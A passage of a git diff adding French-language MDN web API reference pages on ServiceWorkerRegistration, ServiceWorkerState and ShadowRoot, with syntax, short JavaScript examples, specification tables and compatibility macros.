+<p>La propriété <strong><code>active</code></strong> de l’interface {{domxref("ServiceWorkerRegistration")}} retourne un <em>service worker</em> dont le {{domxref("ServiceWorker.state")}} est <code style="font-style: normal;">activating</code> ou <code style="font-style: normal;">activated</code>. Cette propriété est initialement définie à <code style="font-style: normal;">null</code>.</p>
+
+<p>Un <em>worker</em> actif contrôle un {{domxref("ServiceWorkerClient")}} si l’URL du client appartient au domaine de l’inscription (l’option <code>scope</code> définie lorsque {{domxref("ServiceWorkerContainer.register")}} est initialement appelé.)</p>
+
+<div class="note">
+<p><strong>Note</strong> : Cette fonctionnalité est disponible dans les <a href="/en-US/docs/Web/API/Web_Workers_API">Web Workers</a>.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax" style="line-height: 30px; font-size: 2.14285714285714rem;">Syntaxe</h2>
+
+<pre class="syntaxbox" style="font-size: 14px;">sw = ServiceWorker.active
+</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>Un objet {{domxref("ServiceWorker")}}, si le <em>worker</em> est actuellement dans un état <code>activating</code> ou <code>activated</code>.</p>
+
+<h2 id="Spécifications" style="line-height: 30px; font-size: 2.14285714285714rem;">Spécifications</h2>
+
+<div> </div>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col"><font face="Open Sans, sans-serif"><span style="font-weight: normal;">Spécification</span></font></th>
+   <th scope="col"><font face="Open Sans, sans-serif"><span style="font-weight: normal;">Statut</span></font></th>
+   <th scope="col"><font face="Open Sans, sans-serif"><span style="font-weight: normal;">Commentaire</span></font></th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#service-worker-registration-active-attribute', 'ServiceWorkerRegistration.active')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Définition initiale.<br>
+     </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">La table de compatibilité dans cette page est générée à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une <em>pull request.</em></div>
+
+<p>{{Compat("api.ServiceWorkerRegistration.active")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Utiliser les Service Workers</a></li>
+ <li><a href="https://github.com/mdn/sw-test">Service workers basic code example</a></li>
+ <li><a href="https://jakearchibald.github.io/isserviceworkerready/">Is ServiceWorker ready?</a></li>
+ <li>{{jsxref("Promise")}}</li>
+ <li><a href="/en-US/docs/Web/Guide/Performance/Using_web_workers">Utilisation des web workers</a></li>
+</ul>
diff --git a/files/fr/web/api/serviceworkerregistration/getnotifications/index.html b/files/fr/web/api/serviceworkerregistration/getnotifications/index.html
new file mode 100644
index 0000000000..53f8b915d1
--- /dev/null
+++ b/files/fr/web/api/serviceworkerregistration/getnotifications/index.html
@@ -0,0 +1,74 @@
+---
+title: ServiceWorkerRegistration.getNotifications()
+slug: Web/API/ServiceWorkerRegistration/getNotifications
+tags:
+  - API
+  - API Service worker
+  - Expérimentale
+  - Méthode
+  - Notifications
+  - Reference
+  - Service Workers
+  - ServiceWorkerRegistration
+  - getNotifications
+translation_of: Web/API/ServiceWorkerRegistration/getNotifications
+---
+<div>{{APIRef("Service Workers API")}}</div>
+
+<p><span class="seoSummary">La méthode <strong><code>getNotifications()</code></strong> de l'interface {{domxref ("ServiceWorkerRegistration")}} renvoie une liste des notifications dans l'ordre dans lequel elles ont été créées à partir de l'origine actuelle via l'enregistrement actuel du service worker. Les origines peuvent avoir de nombreuses inscriptions de service worker actives mais de portée différente. Les notifications créées par un service worker sur la même origine ne seront pas disponibles pour les autres services workers actifs sur la même origine.</span></p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate"><em>s​erviceWorkerRegistration</em>.getNotifications(<em>options</em>)
+.then(function(<em>notificationsList</em>) { ... })</pre>
+
+<h3 id="Paramétres">Paramétres</h3>
+
+<dl>
+ <dt>options {{optional_inline}}</dt>
+ <dd>Un objet contenant des options pour filtrer les notifications renvoyées. Les options disponibles sont:
+ <ul>
+  <li><code>tag</code>: Un {{domxref ("DOMString")}} représentant un tag de notification. Si spécifié, seules les notifications contenant cette balise seront renvoyées.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une {{jsxref ("Promise", "Promesse")}} qui se résout en une liste d'objets {{domxref ("Notification")}}.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js notranslate">navigator.serviceWorker.register('sw.js')
+
+const options = { tag: 'user_alerts' }
+
+navigator.serviceWorker.ready.then((registration) =&gt; {
+  registration.getNotifications(options).then((notifications) =&gt; {
+    // do something with your notifications
+  })
+})
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Notifications', '#dom-serviceworkerregistration-getnotifications', 'ServiceWorkerRegistration.getNotifications()')}}</td>
+   <td>{{Spec2('Web Notifications')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une pull request.</div>
+
+<p>{{Compat("api.ServiceWorkerRegistration.getNotifications")}}</p>
diff --git a/files/fr/web/api/serviceworkerregistration/index.html b/files/fr/web/api/serviceworkerregistration/index.html
new file mode 100644
index 0000000000..15606c9603
--- /dev/null
+++ b/files/fr/web/api/serviceworkerregistration/index.html
@@ -0,0 +1,150 @@
+---
+title: ServiceWorkerRegistration
+slug: Web/API/ServiceWorkerRegistration
+tags:
+  - API
+  - Interface
+  - NeedsTranslation
+  - Offline
+  - Reference
+  - Service Workers
+  - Service worker API
+  - ServiceWorkerRegistration
+  - TopicStub
+  - Workers
+translation_of: Web/API/ServiceWorkerRegistration
+---
+<div>
+<div>{{SeeCompatTable}}{{APIRef("Service Workers API")}}</div>
+</div>
+
+<p><span class="seoSummary">The <code>ServiceWorkerRegistration</code> interface of the <a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a> represents the service worker registration. You register a service worker to control one or more pages that share the same origin.</span></p>
+
+<p>The lifetime of a service worker registration is beyond that of the <code>ServiceWorkerRegistration</code> objects that represent them within the lifetime of their corresponding service worker clients. The browser maintains a persistent list of active <code>ServiceWorkerRegistration</code> objects.</p>
+
+<div class="note">
+<p><strong>Note</strong>: This feature is available in <a href="/en-US/docs/Web/API/Web_Workers_API">Web Workers</a>.</p>
+</div>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>Also implements properties from its parent interface, </em>{{domxref("EventTarget")}}.</p>
+
+<dl>
+ <dt>{{domxref("ServiceWorkerRegistration.scope")}} {{readonlyinline}}</dt>
+ <dd>Returns a unique identifier for a service worker registration. This must be on the same origin as the document that registers the {{domxref("ServiceWorker")}}.</dd>
+ <dt>{{domxref("ServiceWorkerRegistration.installing")}} <strong style="font-weight: bold;">{{readonlyinline}}</strong></dt>
+ <dd>Returns a service worker whose state is <code>installing</code>. This is initially set to <code>null</code>.</dd>
+ <dt>{{domxref("ServiceWorkerRegistration.waiting")}} <strong style="font-weight: bold;">{{readonlyinline}}</strong></dt>
+ <dd>Returns a service worker whose state is <code>waiting</code>. This is initially set to <code>null</code>.</dd>
+ <dt>{{domxref("ServiceWorkerRegistration.active")}} <strong style="font-weight: bold;">{{readonlyinline}}</strong></dt>
+ <dd>Returns a service worker whose state is either <code>activating</code> or <code>activated</code>. This is initially set to <code>null</code>. An active worker will control a {{domxref("ServiceWorkerClient")}} if the client's URL falls within the scope of the registration (the <code>scope</code> option set when {{domxref("ServiceWorkerContainer.register")}} is first called.)</dd>
+ <dt>{{domxref("ServiceWorkerRegistration.navigationPreload")}} {{readonlyinline}}</dt>
+ <dd>Returns the instance of {{domxref("NavigationPreloadManager")}} associated with the current service worker registration.</dd>
+ <dt>{{domxref("ServiceWorkerRegistration.pushManager")}} {{readonlyinline}}</dt>
+ <dd>Returns a reference to the {{domxref("PushManager")}} interface for managing push subscriptions including subscribing, getting an active subscription, and accessing push permission status.</dd>
+ <dt>{{domxref("ServiceWorkerRegistration.sync")}} <strong style="font-weight: bold; line-height: 19.0909080505371px;">{{non-standard_inline}} </strong>{{readonlyinline}} </dt>
+ <dd>Returns a reference to the {{domxref("SyncManager")}} interface, which manages background synchronization processes.</dd>
+</dl>
+
+<h3 id="Unimplemented_properties">Unimplemented properties</h3>
+
+<dl>
+ <dt>{{domxref("serviceWorkerRegistration.periodicSync")}} {{non-standard_inline}} {{readonlyinline}}</dt>
+ <dd>Returns a reference to the {{domxref("PeriodicSyncManager")}} interface, which manages periodic background synchronization processes. This was mentioned as an idea in the SW explainer at some point, but as yet has not been implemented anywhere.</dd>
+</dl>
+
+<h3 id="Event_handlers">Event handlers</h3>
+
+<dl>
+ <dt>{{domxref("ServiceWorkerRegistration.onupdatefound")}} {{readonlyinline}}</dt>
+ <dd>An <a href="https://developer.mozilla.org/en-US/docs/Web/API/EventListener" title="This method is called whenever an event occurs of the type for which the EventListener interface was registered."><code>EventListener</code></a> property called whenever an event of type <code>updatefound</code> is fired; it is fired any time the {{domxref("ServiceWorkerRegistration.installing")}} property acquires a new service worker.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>Also implements methods from its parent interface, </em>{{domxref("EventTarget")}}.</p>
+
+<dl>
+ <dt>{{domxref("ServiceWorkerRegistration.getNotifications()")}}</dt>
+ <dd>Returns a {{jsxref("Promise")}} that resolves to an array of {{domxref("Notification")}} objects.</dd>
+ <dt>{{domxref("ServiceWorkerRegistration.showNotification()")}}</dt>
+ <dd>Displays the notification with the requested title.</dd>
+ <dt>{{domxref("ServiceWorkerRegistration.update()")}}</dt>
+ <dd>Checks the server for an updated version of the service worker without consulting caches.</dd>
+ <dt>{{domxref("ServiceWorkerRegistration.unregister()")}}</dt>
+ <dd>Unregisters the service worker registration and returns a {{jsxref("Promise")}}. The service worker will finish any ongoing operations before it is unregistered.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>In this example, the code first checks whether the browser supports service workers and if so registers one. Next, it adds and <code>updatefound</code> event in which it uses the service worker registration to listen for further changes to the service worker's state. If the service worker hasn't changed since the last time it was registered, than the <code>updatefound</code> event will not be fired.</p>
+
+<pre class="brush: js">if ('serviceWorker' in navigator) {
+  navigator.serviceWorker.register('/sw.js')
+  .then(function(registration) {
+    registration.addEventListener('updatefound', function() {
+      // If updatefound is fired, it means that there's
+      // a new service worker being installed.
+      var installingWorker = registration.installing;
+      console.log('A new service worker is being installed:',
+        installingWorker);
+
+      // You can listen for changes to the installing service worker's
+      // state via installingWorker.onstatechange
+    });
+  })
+  .catch(function(error) {
+    console.log('Service worker registration failed:', error);
+  });
+} else {
+  console.log('Service workers are not supported.');
+}</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#service-worker-registration-obj', 'ServiceWorkerRegistration')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Push API', '#widl-ServiceWorkerRegistration-pushManager', 'PushManager')}}</td>
+   <td>{{Spec2('Push API')}}</td>
+   <td>Adds the {{domxref("PushManager","pushManager")}} property.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Notifications')}}</td>
+   <td>{{Spec2('Web Notifications')}}</td>
+   <td>Adds the {{domxref("ServiceWorkerRegistration.showNotification()","showNotification()")}} method and the {{domxref("ServiceWorkerRegistration.getNotifications()","getNotifications()")}} method.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Background Sync')}}</td>
+   <td>{{Spec2('Background Sync')}}</td>
+   <td>Adds the {{domxref("ServiceWorkerRegistration.sync","sync")}} property.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.ServiceWorkerRegistration")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Using Service Workers</a></li>
+ <li><a href="https://github.com/mdn/sw-test">Service workers basic code example</a></li>
+ <li><a href="https://jakearchibald.github.io/isserviceworkerready/">Is ServiceWorker ready?</a></li>
+ <li>{{jsxref("Promise")}}</li>
+ <li><a href="/en-US/docs/Web/Guide/Performance/Using_web_workers">Using web workers</a></li>
+</ul>
diff --git a/files/fr/web/api/serviceworkerregistration/scope/index.html b/files/fr/web/api/serviceworkerregistration/scope/index.html
new file mode 100644
index 0000000000..80f8dea718
--- /dev/null
+++ b/files/fr/web/api/serviceworkerregistration/scope/index.html
@@ -0,0 +1,57 @@
+---
+title: ServiceWorkerRegistration.scope
+slug: Web/API/ServiceWorkerRegistration/scope
+tags:
+  - API
+  - Portée
+  - Propriété
+  - Reference
+  - Service Workers
+  - ServiceWorkerRegistration
+  - scope
+translation_of: Web/API/ServiceWorkerRegistration/scope
+---
+<div>{{APIRef("Service Workers API")}}</div>
+
+<p><span class="seoSummary">La propriété en lecture seule <strong><code>scope</code></strong> de l'interface {{domxref ("ServiceWorkerRegistration")}} renvoie un identifiant unique pour un enregistrement de service worker. Le service worker doit être sur la même origine que le document qui enregistre le {{domxref ("ServiceWorker")}}.</span></p>
+
+<div class="note">
+<p><strong>Note</strong>: Cette fonctionnalité est disponible dans <a href="/en-US/docs/Web/API/Web_Workers_API">Web Workers</a>.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate"><em>serviceWorkerRegistration</em>.scope</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#dom-serviceworkerregistration-scope', 'ServiceWorkerRegistration.scope')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une pull request.</div>
+
+<p>{{Compat("api.ServiceWorkerRegistration.scope")}}</p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Service_Worker_API/Using_Service_Workers">Utilisation des Service Workers</a></li>
+ <li><a href="https://github.com/mdn/sw-test">Exemple basique de code pour les Services workers</a></li>
+ <li><a href="https://jakearchibald.github.io/isserviceworkerready/">ServiceWorker est-il prêt?</a></li>
+ <li>{{jsxref("Promise","Promesse")}}</li>
+ <li><a href="/en-US/docs/Web/API/Web_Workers_API/Using_web_workers">Utilisation des web workers</a></li>
+</ul>
diff --git a/files/fr/web/api/serviceworkerregistration/shownotification/index.html b/files/fr/web/api/serviceworkerregistration/shownotification/index.html
new file mode 100644
index 0000000000..fb6a49f819
--- /dev/null
+++ b/files/fr/web/api/serviceworkerregistration/shownotification/index.html
@@ -0,0 +1,108 @@
+---
+title: ServiceWorkerRegistration.showNotification()
+slug: Web/API/ServiceWorkerRegistration/showNotification
+tags:
+  - API
+  - Experimental
+  - Méthode
+  - Reference
+  - Service Workers
+  - ServiceWorker
+  - ServiceWorkerRegistration
+  - showNotification
+translation_of: Web/API/ServiceWorkerRegistration/showNotification
+---
+<p>{{APIRef("Service Workers API")}}</p>
+
+<p><span class="seoSummary">La méthode <strong><code>showNotification()</code></strong> de l'interface {{domxref("ServiceWorkerRegistration")}} crée une notification dans un service worker actif.</span></p>
+
+<div class="note">
+<p><strong>Note</strong>: Cette fonctionnalité est disponible dans les <a href="/en-US/docs/Web/API/Web_Workers_API">Web Workers</a>.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate"><em>​serviceWorkerRegistration</em>.showNotification(<em>title</em>, [<em>options</em>])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>title</code></dt>
+ <dd>Définit un titre pour la notification, qui s'affiche en haut de la fenêtre de notification.</dd>
+ <dt><code>options</code> {{optional_inline}}</dt>
+ <dd>Un objet d'options contenant tous les paramètres personnalisés que vous souhaitez appliquer à la notification. Les options possibles sont:
+ <ul>
+  <li><code>actions</code>: Un tableau de {{domxref ("NotificationAction")}} représentant les actions disponibles pour l'utilisateur lorsque la notification est présentée. Ce sont des options parmi lesquelles l'utilisateur peut choisir pour agir sur l'action dans le contexte de la notification elle-même. Le nom de l'action est envoyé au gestionnaire de notifications du service worker pour lui faire savoir que l'action a été sélectionnée par l'utilisateur. Les membres du tableau doivent être un objet. Il peut contenir les valeurs suivantes:
+   <ul>
+    <li>action: Une {{domxref("DOMString")}}  représentant <span class="tlid-translation translation" lang="fr"><span title="">une action utilisateur à afficher sur la notification</span></span>.</li>
+    <li>title: Une {{domxref("DOMString")}} contenant le texte d'action à montrer à l'utilisateur.</li>
+    <li>icon: Une {{domxref("USVString")}} contenant l'URL d'une icône à afficher avec l'action.</li>
+   </ul>
+   Les réponses appropriées sont construites à l'aide de <code>event.action</code> dans l'événement {{event("notificationclick")}}.</li>
+  <li><code>badge</code>: Un {{domxref ("USVString")}} contenant l'URL de l'image utilisée pour représenter la notification lorsqu'il n'y a pas assez d'espace pour afficher la notification elle-même.</li>
+  <li><code>body</code>: Un {{domxref ("DOMString")}} représentant le corps du texte de la notification, qui est affiché sous le titre.</li>
+  <li><code>data</code>: Données arbitraires que vous souhaitez associer à la notification. Elles peuvent être de n'importe quel type de données.</li>
+  <li><code>dir</code>: La direction dans laquelle afficher la notification. La valeur par défaut est <code>auto</code>, qui adopte simplement le comportement du paramètre de langue du navigateur, mais vous pouvez remplacer ce comportement en définissant les valeurs de <code>ltr</code> et <code>rtl</code> (bien que la plupart des navigateurs semblent ignorer ces paramètres.)</li>
+  <li><code>icon</code>: Une {{domxref ("USVString")}} contenant l'URL d'une icône à afficher dans la notification.</li>
+  <li><code>image</code>: Une {{domxref ("USVString")}} contenant l'URL d'une image à afficher dans la notification.</li>
+  <li><code>lang</code>: La langue de la notification, telle que spécifiée à l'aide d'un {{domxref ("DOMString")}} représentant une <a href="http://www.rfc-editor.org/rfc/bcp/bcp47.txt">balise de langue BCP 47</a>. Consultez la page des <a href="http://www.sitepoint.com/web-foundations/iso-2-letter-language-codes/">codes de langue à 2 lettres ISO</a> de Sitepoint pour une référence simple.</li>
+  <li><code>renotify</code>: Un {{domxref ("Boolean", "Booléen")}} spécifiant si l'utilisateur doit être notifié après qu'une nouvelle notification remplace l'ancienne. La valeur par défaut est <code>false</code>, ce qui signifie qu'ils ne seront pas notifiés.</li>
+  <li><code>requireInteraction</code>: Un {{domxref ("Boolean", "Booléen")}} indiquant qu'une notification doit rester active jusqu'à ce que l'utilisateur clique dessus ou la rejette, plutôt que de se fermer automatiquement. La valeur par défaut est <code>false</code>.</li>
+  <li><code>silent</code>: Un {{domxref ("Boolean", "Booléen")}} spécifiant si la notification est silencieuse (aucun son ni vibration émis), quels que soient les paramètres de l'appareil. La valeur par défaut est <code>false</code>, ce qui signifie qu'il ne sera pas silencieux.</li>
+  <li><code>tag</code>: Un {{domxref ("DOMString")}} représentant un tag d'identification pour la notification.</li>
+  <li><code>timestamp</code>: Un {{domxref ("DOMTimeStamp")}} représentant l'heure à laquelle la notification a été créée. Il peut être utilisé pour indiquer l'heure à laquelle une notification est réelle. Par exemple, cela peut se produire dans le passé lorsqu'une notification est utilisée pour un message qui n'a pas pu être envoyé immédiatement parce que l'appareil était hors ligne, ou dans le futur pour une réunion sur le point de commencer.</li>
+  <li><code>vibrate</code>: Un <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/Guide/API/Vibration#Vibration_patterns">modèle de vibration</a> que le matériel de vibration de l'appareil émet avec la notification. Un modèle de vibration peut être un réseau avec aussi peu qu'un membre. Les valeurs sont des temps en millisecondes où les indices pairs (0, 2, 4, etc.) indiquent la durée de vibration et les indices impairs indiquent la durée de la pause. Par exemple, [300, 100, 400] vibrerait 300 ms, mettrait en pause 100 ms, puis vibrerait 400 ms.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un {{jsxref('Promise')}} qui se résout en <code>undefined</code>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js notranslate">navigator.serviceWorker.register('sw.js')
+
+function showNotification() {
+  Notification.requestPermission((result) =&gt; {
+    if (result === 'granted') {
+      navigator.serviceWorker.ready.then((registration) =&gt; {
+        registration.showNotification('Vibration Sample', {
+          body: 'Buzz! Buzz!',
+          icon: '../images/touch/chrome-touch-icon-192x192.png',
+          vibrate: [200, 100, 200, 100, 200, 100, 200],
+          tag: 'vibration-sample'
+        })
+      })
+    }
+  })
+}
+</pre>
+
+<p>Pour appeler la fonction ci-dessus à un moment approprié, vous pouvez utiliser le gestionnaire d'événements {{domxref ("ServiceWorkerGlobalScope.onnotificationclick")}}.</p>
+
+<p>Vous pouvez également récupérer les détails des {{domxref ("Notification", "Notifications")}} qui ont été déclenchés par le service worker actuel en utilisant {{domxref ("ServiceWorkerRegistration.getNotifications()")}}.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Notifications','#dom-serviceworkerregistration-shownotification','showNotification()')}}</td>
+   <td>{{Spec2('Web Notifications')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une pull request.</div>
+
+<p>{{Compat("api.ServiceWorkerRegistration.showNotification")}}</p>
diff --git a/files/fr/web/api/serviceworkerstate/index.html b/files/fr/web/api/serviceworkerstate/index.html
new file mode 100644
index 0000000000..661ee4602b
--- /dev/null
+++ b/files/fr/web/api/serviceworkerstate/index.html
@@ -0,0 +1,51 @@
+---
+title: ServiceWorkerState
+slug: Web/API/ServiceWorkerState
+tags:
+  - API
+  - Interface
+  - Service Workers
+  - ServiceWorkerState
+translation_of: Web/API/ServiceWorkerState
+---
+<div>{{APIRef("Service Workers API")}}{{SeeCompatTable}}</div>
+
+<p><code><strong>ServiceWorkerState</strong></code> est associé à l'état du {{DOMxRef("ServiceWorker")}}.</p>
+
+<h2 id="Valeurs">Valeurs</h2>
+
+<dl>
+ <dt><code>installing</code></dt>
+ <dd>Cet état indique que le service worker est en train de s'installer. Dans cet état, {{DOMxRef("ExtendableEvent.waitUntil()")}} peut être appelé à l'intérieur du gestionnaire de l'événement <code>install</code> afin d'allonger la vie du worker en train de s'installer, jusqu'à ce que la promesse aboutisse avec succès. Le but de cette démarche est de s'assurer que le service worker ne s'active pas avant que tous les caches centraux soient peuplés.</dd>
+ <dt><code>installed</code></dt>
+ <dd>Dans cet état, le service worker est considéré comme en attente.</dd>
+ <dt><code>activating</code></dt>
+ <dd>Dans cet état, le service worker est considéré comme actif. Tant qu'il est actif, on peut appeler {{DOMxRef("ExtendableEvent.waitUntil()")}} à l'intérieur du gestionnaire de l'événement <code>onactivate</code> pour étendre la vie du service worker actif jusqu'à ce que toutes les promesses aboutissent avec succès. Aucun événement fonctionnel n'est dispatché tant que l'état n'est pas actif.</dd>
+ <dt><code>activated</code></dt>
+ <dd>Dans cet état, le service worker est considéré comme actif et prêt à gérer les événements fonctionnels.</dd>
+ <dt><code>redundant</code></dt>
+ <dd>Un nouveau service worker est en train de remplacer le service worker courant, ou bien le service worker courant est en train d'être rejeté à cause d'un échec d'installation.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Service Workers", "#service-worker-state-enum", "ServiceWorkerState")}}</td>
+   <td>{{Spec2("Service Workers")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li>{{DOMxRef("ServiceWorker.state")}}</li>
+</ul>
diff --git a/files/fr/web/api/shadowroot/delegatesfocus/index.html b/files/fr/web/api/shadowroot/delegatesfocus/index.html
new file mode 100644
index 0000000000..91fd580c39
--- /dev/null
+++ b/files/fr/web/api/shadowroot/delegatesfocus/index.html
@@ -0,0 +1,46 @@
+---
+title: ShadowRoot.delegatesFocus
+slug: Web/API/ShadowRoot/delegatesFocus
+tags:
+  - API
+  - Non-standard
+  - Propriété
+  - Reference
+  - ShadowRoot
+translation_of: Web/API/ShadowRoot/delegatesFocus
+---
+<div>{{APIRef("Shadow DOM")}}</div>
+
+<p><strong><code>delegatesFocus</code></strong> est une propriété en lecture seule, rattachée à l'interface {{domxref("ShadowRoot")}} et qui renvoie un booléen indiquant si l'option <code>delegatesFocus</code> a été intialisée lors de l'attachement de la racine <em>shadow</em> (cf. {{domxref("Element.attachShadow()")}}).</p>
+
+<div class="blockIndicator warning">
+<p><strong>Attention !</strong> Cette fonctionnalité est expérimentale, non-standard et uniquement disponible dans Chrome.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var <var>df</var> = <var>shadowRoot</var>.delegatesFocus</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>Un booléen : <code>true</code> si la racine <em>shadow</em> délègue la gestion du focus et <code>false</code> sinon.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">let customElem = document.querySelector('mon-element-shadow-dom');
+let shadow = customElem.shadowRoot;
+
+  ...
+
+// Est-ce que la racine gère la délégation du focus ?
+let hostElem = shadow.delegatesFocus;</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette fonctionnalité n'est actuellement décrite dans aucune spécification.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.ShadowRoot.delegatesFocus")}}</p>
diff --git a/files/fr/web/api/shadowroot/host/index.html b/files/fr/web/api/shadowroot/host/index.html
new file mode 100644
index 0000000000..724cf496ba
--- /dev/null
+++ b/files/fr/web/api/shadowroot/host/index.html
@@ -0,0 +1,57 @@
+---
+title: ShadowRoot.host
+slug: Web/API/ShadowRoot/host
+tags:
+  - API
+  - Propriété
+  - Reference
+  - ShadowRoot
+  - shadow dom
+translation_of: Web/API/ShadowRoot/host
+---
+<div>{{APIRef("Shadow DOM")}}</div>
+
+<p>La propriété <strong><code>host</code></strong> est une propriété en lecture seule, rattachée à l'interface {{domxref("ShadowRoot")}} et qui représente une référence à l'élément du DOM auquel la racine <code>ShadowRoot</code> est attachée.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var <em>element</em> = <em>shadowRoot</em>.host</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>Un élément du DOM sous la forme d'un objet {{domxref('Element')}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">let customElem = document.querySelector('mon-element-shadow-dom');
+let shadow = customElem.shadowRoot;
+
+  ...
+
+// renvoie l'élément hôte
+let hostElem = shadow.host;</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#dom-shadowroot-host','ShadowRoot.host')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.ShadowRoot.host")}}</p>
